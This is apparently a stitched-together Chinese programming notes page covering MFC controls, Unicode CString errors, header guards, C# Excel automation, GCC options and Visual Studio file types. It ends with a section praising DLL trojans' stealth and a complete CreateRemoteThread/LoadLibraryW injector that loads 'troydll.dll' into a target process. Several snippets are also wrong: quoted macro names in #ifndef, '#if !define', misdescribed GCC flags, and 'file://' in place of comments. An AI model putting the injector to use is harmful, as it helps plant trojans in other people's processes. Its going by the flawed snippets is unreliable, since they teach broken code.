一、基本使用
1.新加ListControl 控件，属性中的style属性页下的View选择Report。
并设置其对应的控制变量如：m_list1。
2.初始化，即设置列。 用m_list1。
m_list1.InsertColumn(0,"曲名"); //插入列
m_list1.InsertColumn(1,"类型");
m_list1.InsertColumn(2,"长度");
m_list1.InsertColumn(3,"路径");
CRect rect4;
m_list1.GetClientRect(rect4); //获得当前客户区信息
m_list1.SetColumnWidth(0,rect4.Width()/4); //设置列的宽度。
m_list1.SetColumnWidth(1,rect4.Width()/5);
m_list1.SetColumnWidth(2,rect4.Width()/5);
m_list1.SetColumnWidth(3,rect4.Width()*8/20);
这部分初始化操作，最好放在对话框类的OnInitDialog()函数里，自动初始化。
3.插入数据
m_list1.InsertItem(0,"大海"); //插入第一个数据，即第0条数据。先插入，然后在修改其他的信息。
m_list1.SetItemText(0,1,"MP3"); //修改第0条数据的其他信息。
m_list1.SetItemText(0,2,"4:20");
m_list1.SetItemText(0,3,"c:\");
4.删除所有数据
m_list1.DeleteAllItems();
二、其他技巧
1.如何设置ListView控件的完全行(Full Row)选项。
这个控件有个地方常常很恼人，那就是在报告视图中选中一行时，它只加亮最左边的一个栏目。
为了克服这个问题，这里告诉你一个方法：向ListView控件发送一个LVM_SETEXTENDEDLISTVIEWSTYLE消息。
::SendMessage(m_list1.m_hWnd, LVM_SETEXTENDEDLISTVIEWSTYLE,LVS_EX_FULLROWSELECT, LVS_EX_FULLROWSELECT);
摘要: CFileDialog文件选择对话框的使用：首先构造一个对象并提供相应的参数，构造函数原型如下： CFileDialog::CFileDialog( BOOL bOpenFileDialog, LPCTSTR lpszDefExt = NULL, LPCTSTR lpszFileName = NULL, DWORD dwFlags = OFN_HIDEREADONLY | OFN_OVERWRIT...
阅读全文
开发环境VS2005
tempratureall[]为一个整数数组且已经赋值
CDC *pDC=GetDC();
CString s;
s.Format("%d", tempratureall[1]);
pDC->TextOut(20,39,s);
总是提示出错
error C2664: “void ATL::CStringT <BaseType,StringTraits>::Format(const wchar_t *,...)”: 不能将参数 1 从“const char [3]”转换为“const wchar_t *”
网友回复:itoa
网友回复:s.Format( _T("%d"), tempratureall[1]);
网友回复:用itoa也试过了也不行
itoa(tempratureall[1],&s,10);
网友回复:s.Format(_T("%d"), tempratureall[1]);
////////////////////////////////////////////////////////////////////////////////////////////////
我建立了以个简单的MFC框架，然后在
void CMy1View::OnDraw(CDC* pDC)
函数中插入了如下的代码
CString strOutput;
strOutput.Format("%s","Hello World!");
pDC -> TextOut(0,0,strOutput);
为什么编译的时候出现了
错误 1 error C2664: “void ATL::CStringT<BaseType,StringTraits>::Format(const wchar_t *,...)”: 不能将参数 1 从“const char [3]”转换为“const wchar_t *”
这个错误？？
很不理解，书上也是这么写的。。。我初学，真不知道怎么办了。
如果就加
pDC -> TextOut(0,0,"Hello World!");
也出现错误
错误 1 error C2664: “BOOL CDC::TextOutW(int,int,const CString &)”: 不能将参数 3 从“const char [13]”转换为“const CString &”
为什么呢？
////////
最佳答案
你在头文件里包含#include <tchar.h>
然后这样初始化
strOutput.Format(_T("%s"),_T("Hello World!"));
因为默认情况下,字符串都是unicode的形式,
用unicode在nt以上的系统是一个很好的方式
在windows平台下，有一个很方便的宏：
#pragma once
指定当前文件在构建时只被包含(或打开)一次,这样就可以减少构建的时间,因为加入#pragma once后,编译器在打开或读取第一个#include 模块后,就不会再打开或读取随后出现的相同#include 模块.
另外，还可以用条件编译语句来实现：
#ifndef "XX_H"
#define "XX_H"
<头文件定义正文>
#endif
显然后者的移植性更好一点。
有下面的自定义结构体，定义在sample.h中。
--------------------------------------------
typedef struct sample{
int trueNumber;
double feature[13];
}SAMPLE;
--------------------------------------------
类A，类B都#include<sample.h>,主程序都调用了类A，类B;就会出现
error C2011: ''sample'' : ''struct'' type redefinition
解决方法:写上宏定义:
-----------------------------------
#ifndef sample_H_H
#define sample_H_H
typedef struct sample{
int trueClass;
double feature[13];
}SAMPLE;
#endif
---------------------------------------
也可以这样写
----------------------------------
#if !define sample_H_H
#define sample_H_H
typedef struct sample{
int trueClass;
double feature[13];
}SAMPLE;
#endif
-------------------------------
意思是:
if(宏sample_H_H,没有被定义过)
{
定义宏sample_H_H
........(执行)other code
}
实际上sample_H_H作为一个标记而存在
自定义一个类时,在所有的头文件中都应用这组宏处理
注意是#ifndef不是#ifdef
-----------------------------------
#ifndef 标记名（常以类名_H_H,两个标记名要相同）
#define 标记名
//你原来的文件内容
#endif
---------------------------------
第一类方法也是常用的方法，通过多次的数值计算来完成交换，到现在知道的有下面三种：
（1）加减法。
a = a + b;
b = a - b;
a = a - b;
该方法可以交换整型和浮点型数值的变量，但在处理浮点型的时候有可能出现精度的损失，例如对数据：
a = 3.123456
b = 1234567.000000
交换后各变量值变为：
a = 1234567.000000
b = 3.125000
很明显，原来a的值在交换给b的过程中发生了精度损失。
（2）乘除法。
a = a * b;
b = a / b;
a = a / b;
乘除法更像是加减法向乘除运算的映射，它与加减法类似：可以处理整型和浮点型变量，但在处理浮点型变量时也存在精度损失问题。而且乘除法比加减法要多一条约束：b必不为0。
可能经验上的某种直觉告诉我们：加减法和乘除法可能会溢出，而且乘除的溢出会特别严重。其实不然，采用这两种方法都不会溢出。以加减法为例，第一步的加运算可能会造成溢出，但它所造成的溢出会在后边的减运算中被溢出回来。
（3）异或法。
a ^= b;//a=a^b
b ^= a;//b=b^(a^b)=b^a^b=b^b^a=0^a=a
a ^= b;//a=(a^b)^a=a^b^a=a^a^b=0^b=b
异或法可以完成对整型变量的交换，对于浮点型变量它无法完成交换。
第二类方法更像是玩了一个文字游戏，此种方法采用了在代码中嵌入汇编代码的方法避免了临时变量的引入，但究其本质还是会使用额外的存储空间。此种方法可以有很多种，下边列出几种：
（1）使用xchg指令，这也是比较直观、容易想到的方法，因为xchg指令的功能就是交换源操作数和目的操作数的值，这里要使用额外寄存器来暂存变量。内嵌汇编代码如下：
_asm
{
mov eax,a
xchg b,eax
mov a,eax
}
（2）使用额外的栈。这里使用反向的出栈顺序来完成交换。内嵌代码有如下两种形式：
_asm
{
push a
push b
pop a
pop b
}
另一种形式：
_asm push a
a = b;
_asm pop a
（3）使用mov指令。这种方法使用额外寄存器来暂存一个变量的值。
_asm mov eax,a
a = b;
_asm mov b,eax
其实第二类方法并不合格，它虽然没有显式的使用临时变量，但还是会用到额外的存贮空间。不过也不能说没有必要掌握，从实用的角度看还是很“有用”的。不是
有公司出过这样的面试题吗？“不使用加减法和异或法完成不使用中间变量交换两个数值型变量的值”。此时或许只好使用这种方法了。
Excel是微软公司办公自动化套件中的一个软件，他主要是用来处理电子表格。Excel以其功能强大，界面友好等受到了许多用户的欢迎。在办公的时候，正是由于Excel的这么多的优点，许多重要的数据，往往以Excel电子表格的形式存储起来。这样就给程序员带来了一个问题，虽然Excel功能比较强大，但毕竟不是数据库，在程序中处理数据库中的数据比其处理Excel表格中的数据容易许多。那么如何用Visual C＃读取Excel表格中的数据？在以前用Delphi编程的时候，对于不同的用户，他们对于打印的需求是不一样的，如果要使得程序中的打印功能适用于每一个用户，可以想象程序设计是十分复杂的。这时想到Excel，由于Excel表格的功能强大，又由于几乎每一台机器都安装了它，如果把程序处理的结果放到Excel表格中，这样每一个用户就可以根据自己的需要在Excel中定制自己的打印。这样不仅使得程序设计简单，而且又满足了诸多用户的要求，更加实用了。那么用Visual C＃如何调用Excel，如何又把数据存放到Excel表格中？本文就来探讨一下上述问题的解决办法。
一．程序设计及运行环境 （1）.微软视窗2000 服务器版
（2）..Net Framework SDK Beta 2
（3）.Microsoft Data Access Component 2.6以上版本（MDAC2.6）
（4）.Office 2000套件
二．Visual C＃读取Excel表格中的数据：
本节将通过一个程序来介绍Visual C＃读取Excel表格中的数据，并把数据以DataGrid的形式显示出来。
（1）.如何读取数据：
其实读取Excel表格中的数据和读取数据库中的数据是非常类似的，因为在某种程度上Excel表格可以看成是一张一张的数据表。其二者的主要区别在于所使用的数据引擎不一样。在本文的程序中，通过下列代码实现读取Excel表格数据，具体如下：
//创建一个数据链接
string strCon = " Provider = Microsoft.Jet.OLEDB.4.0 ; Data Source = c:sample.xls;Extended Properties=Excel 8.0" ;
OleDbConnection myConn = new OleDbConnection ( strCon ) ;
string strCom = " SELECT * FROM [Sheet1$] " ;
myConn.Open ( ) ;
file://打开数据链接，得到一个数据集
OleDbDataAdapter myCommand = new OleDbDataAdapter ( strCom , myConn ) ;
file://创建一个 DataSet对象
myDataSet = new DataSet ( ) ;
file://得到自己的DataSet对象
myCommand.Fill ( myDataSet , "[Sheet1$]" ) ;
file://关闭此数据链接
myConn.Close ( ) ; |
怎么样读取Excel表格中的数据其实和读取数据库中的数据没有什么实质上的区别。
注释：这里读取的是C盘根目录下的"Sample.xls"文件。
（2）.用DataGrid来显示得到的数据集：
在得到DataSet对象后，只需要通过下列二行代码，就可以把数据集用DataGrid显示出来了：
DataGrid1.DataMember= "[Sheet1$]" ;
DataGrid1.DataSource = myDataSet ; |
（3）.用Visual C＃读取Excel表格，并用DataGrid显示出来的程序代码（Read.cs）和程序运行的界面：
掌握了上面二点，水到渠成就可以得到以下代码：
|
using System ;
using System.Drawing ;
using System.Collections ;
using System.ComponentModel ;
using System.Windows.Forms ;
using System.Data ;
using System.Data.OleDb ;
public class Form1 : Form
{
private Button button1 ;
private System.Data.DataSet myDataSet ;
private DataGrid DataGrid1 ;
private System.ComponentModel.Container components = null ;
public Form1 ( )
{
file://初始化窗体中的各个组件
InitializeComponent ( ) ;
file://打开数据链接，得到数据集
GetConnect ( ) ;
}
file://清除程序中使用过的资源
protected override void Dispose ( bool disposing )
{
if ( disposing )
{
if ( components != null )
{
components.Dispose ( ) ;
}
}
base.Dispose ( disposing ) ;
}
private void GetConnect ( )
{
file://创建一个数据链接
string strCon = " Provider = Microsoft.Jet.OLEDB.4.0 ; Data Source = c:sample.xls;Extended Properties=Excel 8.0" ;
OleDbConnection myConn = new OleDbConnection ( strCon ) ;
string strCom = " SELECT * FROM [Sheet1$] " ;
myConn.Open ( ) ;
file://打开数据链接，得到一个数据集
OleDbDataAdapter myCommand = new OleDbDataAdapter ( strCom , myConn ) ;
file://创建一个 DataSet对象
myDataSet = new DataSet ( ) ;
file://得到自己的DataSet对象
myCommand.Fill ( myDataSet , "[Sheet1$]" ) ;
file://关闭此数据链接
myConn.Close ( ) ;
}
private void InitializeComponent ( )
{
DataGrid1 = new DataGrid ( ) ;
button1 = new Button ( ) ;
SuspendLayout ( ) ;
DataGrid1.Name = "DataGrid1";
DataGrid1.Size = new System.Drawing.Size ( 400 , 200 ) ;
button1.Location = new System.Drawing.Point ( 124 , 240 ) ;
button1.Name = "button1" ;
button1.TabIndex = 1 ;
button1.Text = "读取数据" ;
button1.Size = new System.Drawing.Size (84 , 24 ) ;
button1.Click += new System.EventHandler ( this.button1_Click ) ;
this.AutoScaleBaseSize = new System.Drawing.Size ( 6 , 14 ) ;
this.ClientSize = new System.Drawing.Size ( 400 , 280 ) ;
this.Controls.Add ( button1 ) ;
this.Controls.Add ( DataGrid1 ) ;
this.Name = "Form1" ;
this.Text = "读取Excle表格中的数据，并用DataGrid显示出来！" ;
this.ResumeLayout ( false ) ;
}
private void button1_Click ( object sender , System.EventArgs e )
{
DataGrid1.DataMember= "[Sheet1$]" ;
DataGrid1.DataSource = myDataSet ;
}
static void Main ( )
{
Application.Run ( new Form1 ( ) ) ;
}
}
|
下图是程序编译后，运行结果：
图01：用Visual C＃读取"c:sample.xls"的运行界面
|
（4）.总结：
以上只是读取了Excel表格中"Sheet1"中的数据，对于其他"Sheet"中的内容，可以参照读取"Sheet1"中的程序，只作一点修改就可以了，譬如要读取"Sheet2"中的内容，只需要把"Read.cs"程序中的"Sheet1$"改成"Sheet2$"就可以了。
三．Visual C＃调用Excel表格，并在Excel表格中存储数据：
在Visual C＃中调用Excel表格，并不像读取Excel表格中的数据那么容易了，因为在Visual C＃中调用Excel表格要使用到Excel的COM组件。如果你安装Office套件在"C"盘，那么在"C:Program FilesMicrosoft OfficeOffice"可以找到这个COM组件"EXCEL9.OLB"，在《Visual C＃如何使用Active X组件》一文中，这些COM组件都是非受管代码的，要在Visual C＃中使用这些非受管代码的COM组件，就必须把他们转换成受管代码的类库。所以在用Visual C＃调用Excel表格之前，必须完成从COM组件的非受管代码到受管代码的类库的转换。
（1）.非受管代码COM组件转换成受管代码的类库：
首先把COM组件"EXCEL9.OLB"拷贝到C盘的根目录下，然后输入下列命令：
这样在C盘的根目录下面就产生了三个DLL文件："Excel.dll"、"Office.dll"、"VBIDE.dll"。在产生了上面的三个文件后，这种转换就成功完成了。在下面的程序中，就可以利用这转换好的三个类库编写和Excel表格相关的各种操作了。
（2）.Visual C＃打开Excel表格：
在"Excel.dll"中定义了一个命名空间"Excel"，在差命名空间中封装了一个类"Application"，这个类和启动Excel表格有非常重要的关系，在Visual C＃中，只需要下列三行代码就可以完成打开Excel表格的工作，具体如下：
Excel.Application excel = new Excel.Application ( ) ;
excel.Application.Workbooks.Add ( true ) ;
excel.Visible = true ; |
但此时的Excel表格是一个空的表格，没有任何内容，下面就来介绍如何往Excel表格中输入数据。
（3）.往Excel表格中输入数据：
在命名空间"Excel"中，还定义了一个类"Cell"，这个类所代表的就是Excel表格中的一个下单元。通过给差"Cell"赋值，从而实现往Excel表格中输入相应的数据，下列代码功能是打开Excel表格，并且往表格输入一些数据。
Excel.Application excel = new Excel.Application ( ) ;
excel.Application.Workbooks.Add ( true ) ;
excel.Cells[ 1 , 1 ] = "第一行第一列" ;
excel.Cells[ 1 , 2 ] = "第一行第二列" ;
excel.Cells[ 2 , 1 ] = "第二行第一列" ;
excel.Cells[ 2 , 2 ] = "第二行第二列" ;
excel.Cells[ 3 , 1 ] = "第三行第一列" ;
excel.Cells[ 3 , 2 ] = "第三行第二列" ;
excel.Visible = true ; |
（4）. Visual C＃调用Excel表格，并在Excel表格中存储数据的程序代码（Excel.cs）：
了解了上面的这些知识，得到完成上述功能的程序代码就显得比较容易了，具体如下：
|
using System ;
using System.Drawing ;
using System.Collections ;
using System.ComponentModel ;
using System.Windows.Forms ;
using System.Data ;
using System.Data.SqlClient ;
public class Form1 : Form
{
private Button button1 ;
private System.ComponentModel.Container components = null ;
public Form1 ( )
{
file://初始化窗体中的各个组件
InitializeComponent ( ) ;
}
file://清除程序中使用的各个资源
protected override void Dispose ( bool disposing )
{
if ( disposing )
{
if ( components != null )
{
components.Dispose ( ) ;
}
}
base.Dispose( disposing ) ;
}
private void InitializeComponent ( )
{
button1 = new Button ( ) ;
SuspendLayout ( ) ;
button1.Location = new System.Drawing.Point ( 32 , 72 ) ;
button1.Name = "button1" ;
button1.Size = new System.Drawing.Size ( 100 , 30 ) ;
button1.TabIndex = 0 ;
button1.Text = "调用Excel文件！" ;
button1.Click += new System.EventHandler ( button1_Click ) ;
AutoScaleBaseSize = new System.Drawing.Size ( 5 , 13 ) ;
this.ClientSize = new System.Drawing.Size ( 292 , 273 ) ;
this.Controls.Add ( button1 ) ;
this.Name = "Form1" ;
this.Text = "如何用Visual C＃调用Excel表格！" ;
this.ResumeLayout ( false ) ;
}
static void Main ( )
{
Application.Run ( new Form1 ( ) ) ;
}
private void button1_Click ( object sender , System.EventArgs e )
{
Excel.Application excel = new Excel.Application ( ) ;
excel.Application.Workbooks.Add ( true ) ;
excel.Cells[ 1 , 1 ] = "第一行第一列" ;
excel.Cells[ 1 , 2 ] = "第一行第二列" ;
excel.Cells[ 2 , 1 ] = "第二行第一列" ;
excel.Cells[ 2 , 2 ] = "第二行第二列" ;
excel.Cells[ 3 , 1 ] = "第三行第一列" ;
excel.Cells[ 3 , 2 ] = "第三行第二列" ;
excel.Visible = true ;
}
}
|
（5）.编译源程序和程序运行界面：
在经过了下列命令编译后：
| Csc.exe /r:system.dll /r:system.windows.forms.dll /r:system.drawing.dll /r:excel.dll /r:office.dll /r:vbide.dll excel.cs |
就可以得到"Excel.exe"，运行后界面如下：
图02：Visual C＃调用Excel表格，并存储数据的程序运行界面 |
四．Visual C＃处理Office套件中的其他成员程序：
本文虽然只介绍了Visual C＃在处理Excel表格中经常遇到的一些问题的解决方法，但其实对Office套件的其他成员也有很强的借鉴意义，譬如Visual C＃来处理Word文档，在调用Word文档的时候，必须先完成COM组件从非受管代码到受管代码的转换，Word的COM组件位"MSWORD9.OLB"，经过转换后也会产生三个DLL文件，但分别是"Word.dll"、"Office.dll"、"VBIDE.dll"。其实在Visual C＃中调用Word，也非常容易。只需要把调用Excel表格中的代码换成调用Word的代码就可以了，具体如下：
Word.Application word = new Word.Application ( ) ;
word.Application.Visible = true ; |
不信你试一下，看看是否达到你的要求。对于针对Word的其他的操作，总体来说和对Excel表格的操作相类似。由于针对Word只是一个文档，程序对Word进行的操作是比较少的，所以就不一一介绍了。
五．总结：
本文介绍Visual C＃来处理Excel表格的几种最常遇到的情况，虽然针对的只是Excel表格，但对其他Office套件中的成员也具有十分的借鉴意义。
编译：
第一步、是进行预编译，使用-E参数可以让GCC在预处理结束后停止编译过程：
gcc -E hello.c -o hello.i
预处理的宏定义插入到hello.i中
第二步、是将hello.i编译为目标代码，这可以通过使用-c参数来完成：
gcc -c hello.i -o hello.o
也可以通过源文件直接生成
gcc -c hello.c
第三步、是将生成的目标文件链接成可执行文件：
gcc hello.o -o hello
也可以通过源文件直接生成
gcc -o hello hello.c
警告：
1、-pedantic 选项，那么使用了扩展语法的地方将产生相应的警告信息
2、-Wall 使用它能够使GCC产生尽可能多的警告信息
3、-Werror，它要求GCC将所有的警告当成错误进行处理
库依赖：
1、Linux下的大多数函数都默认:
头文件放到/usr/include/目录下
而库文件则放到/usr/lib/目录下
2、GCC在编译时必须有自己的办法来查找所需要的头文件和库文件。
-I选项可以向GCC的头文件搜索路径中添加新的目录。
例如，如果在/home/xiaowp/include/目录下有编译时所需要的头文件，为了让GCC能够顺利地找到它们，就可以使用-I选项：
gcc -o test test.c -I /home/xiaowp/include
-L选项向GCC的库文件搜索路径中添加新的目录
例如，如果在/home/xiaowp/lib/目录下有链接时所需要的库文件libfoo.so，为了让GCC能够顺利地找到它，可以使用下面的命令
gcc -o test test.c -L /home/xiaowp/lib -lfoo
值得好好解释一下的是-l选项，它指示GCC去连接库文件libfoo.so。
Linux下的库文件在命名时有一个约定，那就是应该以lib三个字母开头，由于所有的库文件都遵循了同样的规范，因此在用-l选项指定链接的库文件名时可以省去lib三个字母，也就是说GCC在对-lfoo进行处理时，会自动去链接名为libfoo.so的文件。
-static选项，强制使用静态链接库
如果在/home/xiaowp/lib/目录下有链接时所需要的库文件libfoo.so和libfoo.a
为了让GCC在链接时只用到静态链接库，可以使用下面的命令：
gcc -o test test.c -L /home/xiaowp/lib -static -lfoo
选项-O可以告诉GCC同时减小代码的长度和执行时间，其效果等价于-O1。
在这一级别上能够进行的优化类型虽然取决于目标处理器，但一般都会包括线程跳转（Thread Jump）和延迟退栈（Deferred Stack Pops）两种优化。
选项-O2告诉GCC除了完成所有-O1级别的优化之外，同时还要进行一些额外的调整工作，如处理器指令调度等。
选项-O3则除了完成所有-O2级别的优化之外，还包括循环展开和其它一些与处理器特性相关的优化工作。
通常来说，数字越大优化的等级越高，同时也就意味着程序的运行速度越快。
许多Linux程序员都喜欢使用-O2选项，因为它在优化长度、编译时间和代码大小之间，取得了一个比较理想的平衡点。
time ./test 查看程序执行时间
优化虽然能够给程序带来更好的执行性能，但在如下一些场合中应该避免优化代码：
程序开发的时候优化等级越高，消耗在编译上的时间就越长，因此在开发的时候最好不要使用优化选项，只有到软件发行或开发结束的时候，才考虑对最终生成的代码进行优化。
资源受限的时候一些优化选项会增加可执行代码的体积，如果程序在运行时能够申请到的内存资源非常紧张（如一些实时嵌入式设备），那就不要对代码进行优化，因为由这带来的负面影响可能会产生非常严重的后果。
跟踪调试的时候在对代码进行优化的时候，某些代码可能会被删除或改写，或者为了取得更佳的性能而进行重组，从而使跟踪和调试变得异常困难。
加速：
使用管道代替编译中临时文件,
-pipe 加速编译
gcc -pipe foo.c -o foo
GCC常用选项
-c 通知GCC取消链接步骤，即编译源码并在最后生成目标文件；
-Dmacro 定义指定的宏，使它能够通过源码中的#ifdef进行检验；
-E 不经过编译预处理程序的输出而输送至标准输出；
-g3 获得有关调试程序的详细信息，它不能与-o选项联合使用；
-Idirectory 在包含文件搜索路径的起点处添加指定目录；
-llibrary 提示链接程序在创建最终可执行文件时包含指定的库；
-O、-O2、-O3 将优化状态打开，该选项不能与-g选项联合使用；
-S 要求编译程序生成来自源代码的汇编程序输出；
-v 启动所有警报；
-Wall 在发生警报时取消编译操作，即将警报看作是错误；
-Werror 在发生警报时取消编译操作，即把报警当作是错误；
-w 禁止所有的报警
.sln：解决方案文件，为解决方案资源管理器提供显示管理文件的图形接口所需的信息。
.csproj:项目文件，创建应用程序所需的引用、数据连接、文件夹和文件的信息。
.aspx：Web 窗体页由两部分组成：视觉元素（HTML、服务器控件和静态文本）和该页的编程逻辑。Visual Studio 将这两个组成部分分别存储在一个单独的文件中。视觉元素在.aspx 文件中创建。
.ascx：ASP.NET的用户控件（也叫做“pagelets”），是作为一种封装了特定功能和行为（这两者要被用在Web应用程序的各种页面上）的Web页面被开发的。一个用户控件包含了HTML、代码和其他Web或者用户控件的组合，并在Web服务器上以自己的文件格式保存，其扩展名是*.ascx。ASP.NET里的缺省配置并不允许Web客户端通过URL来访问这些文件，但是这个网站的其他页面可以集成这些文件里所包含的功能。
.aspx.cs：Web 窗体页的编程逻辑位于一个单独的类文件中，该文件称作代码隐藏类文件（.aspx.cs）。
.cs： 类模块代码文件。业务逻辑处理层的代码。
.asax：Global.asax 文件（也叫做 ASP.NET 应用程序文件）是一个可选的文件，该文件包含响应 ASP.NET 或 HTTP 模块引发的应用程序级别事件的代码。
.config：Web.config 文件向它们所在的目录和所有子目录提供配置信息。
.aspx.resx/.resx：资源文件，资源是在逻辑上由应用程序部署的任何非可执行数据。通过在资源文件中存储数据，无需重新编译整个应用程序即可更改数据。 51aspx.com
.XSD:XML schema的一种.从DTD,XDR发展到XSD
.pdb:PDB（程序数据库）文件保持着调试和项目状态信息，从而可以对程序的调试配置进行增量链接。
.suo:解决方案用户选项,记录所有将与解决方案建立关联的选项，以便在每次打开时，它都包含您所做的自定义设置。
.asmx：.asmx文件包含 WebService 处理指令，并用作 XML Web services 的可寻址入口点 51aspx。
.vsdisco（项目发现）文件 基于 XML 的文件，它包含为 Web 服务提供发现信息的资源的链接 (URL-51aspx )。
.htc:一个HTML文件,包含脚本和定义组件的一系列HTC特定元素.htc提供在脚本中implement组件的机制
1.把:SkinMagicLib.h,DETOURS.lib,SkinMagicLib.lib三个文件拷入工程目录
注意:如果你的工程是使用的共享DLL,那么你要选择共享DLL的SkinMagicLib.h,SkinMagicLib.lib
如果你的程序是使用的静态连接DLL的,那你选择静态的SkinMagicLib.h,SkinMagicLib.lib
否则连接时出问题...
2."工程"->添加到工程->文件->将DETOURS.lib,SkinMagicLib.lib添加到工程中
3.在stdafx.h中,加入#include "SkinMagicLib.h"
4.将皮肤文件拷入工程目录中的"rec"文件夹中
5.工作空间中切换到ResourceView,右键选"引入",在弹出的对话框中找到皮肤文件,选中将其插入到工程文件中
在接下来的对话框中起个文件夹名:"SKINMAGIC",将皮肤文件插入到该文件夹中
6.皮肤文件插入到工程后,可在ResourceView中找到皮肤文件的ID,右键选属性,改ID名字
7.在ClassView中找到CxxxAPP类.然后找到InitInstance()函数,然后在
m_pMainWnd->ShowWindow(SW_SHOW);
m_pMainWnd->UpdateWindow();
之前加入以下代码:
VERIFY( 1 == InitSkinMagicLib( AfxGetInstanceHandle(), "Demo" ,
NULL,
NULL ) );
VERIFY( 1 == LoadSkinFromResource( AfxGetInstanceHandle() , "XPGREEN" ,"SKINMAGIC") );
VERIFY( 1 == SetWindowSkin( m_pMainWnd->m_hWnd , "MainFrame" ));
VERIFY( 1 == SetDialogSkin( "Dialog" ) );
8.在CxxxAPP类中,右键选AddVirtualFunction,然后添加ExitInstance()函数,在其中加入:
ExitSkinMagicLib();
9.编译,连接,执行...OK,皮肤添加完成...
从前文可知，DLL在程序编制中可作出巨大贡献，它提供了具共性代码的复用能力。但是，正如一门高深的武学，若被掌握在正义之侠的手上，便可助其仗义江湖；但若被掌握在邪恶之徒的手上，则必然在江湖上掀起腥风血雨。DLL正是一种这样的武学。DLL一旦染上了魔性，就不再是正常的DLL程序，而是DLL木马，一种恶贯满盈的病毒，令特洛伊一夜之间国破家亡。
DLL木马的原理 DLL木马的实现原理是编程者在DLL中包含木马程序代码，随后在目标主机中选择特定目标进程，以某种方式强行指定该进程调用包含木马程序的DLL，最终达到侵袭目标系统的目的。
正是DLL程序自身的特点决定了以这种形式加载木马不仅可行，而且具有良好的隐藏性：
（1）DLL程序被映射到宿主进程的地址空间中，它能够共享宿主进程的资源，并根据宿主进程在目标主机的级别非法访问相应的系统资源；
（2）DLL程序没有独立的进程地址空间，从而可以避免在目标主机中留下"蛛丝马迹"，达到隐蔽自身的目的。
DLL木马实现了"真隐藏"，我们在任务管理器中看不到木马"进程"，它完全溶进了系统的内核。与"真隐藏"对应的是"假隐藏"，"假隐藏"木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程，但是"假隐藏"木马本质上还具备独立的进程空间。"假隐藏"只适用于Windows9x的系统，对于基于WINNT的操作系统，通过服务管理器，我们可以发现系统中注册过的服务。
DLL木马注入其它进程的方法为远程线程插入。
远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后，需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间，即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL，从而实现木马对系统的侵害。
DLL木马注入程序 这里涉及到一个非常重要的Windows API――CreateRemoteThread。与之相比，我们所习惯使用的CreateThread API函数只能在进程自身内部产生一个新的线程，而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同，它可以在另外的进程中产生线程！CreateRemoteThread有如下特点：
（1）CreateRemoteThread较CreateThread多一个参数hProcess，该参数用于指定要创建线程的远程进程，其函数原型为：
HANDLE CreateRemoteThread(
HANDLE hProcess, //远程进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
); |
（2）线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说，我们不能想当然地自己写一个函数，并把这个函数作为远程线程的入口函数；
（3）不能把本进程的指针作为CreateRemoteThread的参数，因为本进程的内存空间与远程进程的不一样。
以下程序由作者Shotgun的DLL木马注入程序简化而得（
单击此处下载，在经典书籍《Windows核心编程》中我们也可以看到类似的例子），它将d盘根目录下的troydll.dll插入到ID为4000的进程中：
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
void CheckError ( int, int, char *); //出错处理函数
PDWORD pdwThreadId;
HANDLE hRemoteThread, hRemoteProcess;
DWORD fdwCreate, dwStackSize, dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId = 4000;
strcpy(lpDllFullPathName, "d:\\troydll.dll");
//将DLL文件全路径的ANSI码转换成UNICODE码
iReturnCode = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS,
lpDllFullPathName, strlen(lpDllFullPathName),
pszLibFileName, MAX_PATH);
CheckError(iReturnCode, 0, "MultByteToWideChar");
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许创建线程
PROCESS_VM_OPERATION | //允许VM操作
PROCESS_VM_WRITE, //允许VM写
FALSE, dwRemoteProcessId );
CheckError( (int) hRemoteProcess, NULL, "Remote Process not Exist or Access Denied!");
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
CheckError((int)pszLibFileRemote, NULL, "VirtualAllocEx");
//将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
CheckError(iReturnCode, false, "WriteProcessMemory");
//计算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CheckError((int)pfnStartAddr, NULL, "GetProcAddress");
//启动远程线程，通过远程线程调用用户的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CheckError((int)hRemoteThread, NULL, "Create Remote Thread");
//等待远程线程退出
WaitForSingleObject(hRemoteThread, INFINITE);
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
}
//错误处理函数CheckError()
void CheckError(int iReturnCode, int iErrorCode, char *pErrorMsg)
{
if(iReturnCode==iErrorCode)
{
printf("%s Error:%d\n\n", pErrorMsg, GetLastError());
//清场处理
if (pszLibFileRemote != NULL)
{
VirtualFreeEx(hRemoteProcess, pszLibFileRemote, 0, MEM_RELEASE);
}
if (hRemoteThread != NULL)
{
CloseHandle(hRemoteThread );
}
if (hRemoteProcess!= NULL)
{
CloseHandle(hRemoteProcess);
}
exit(0);
}
} |
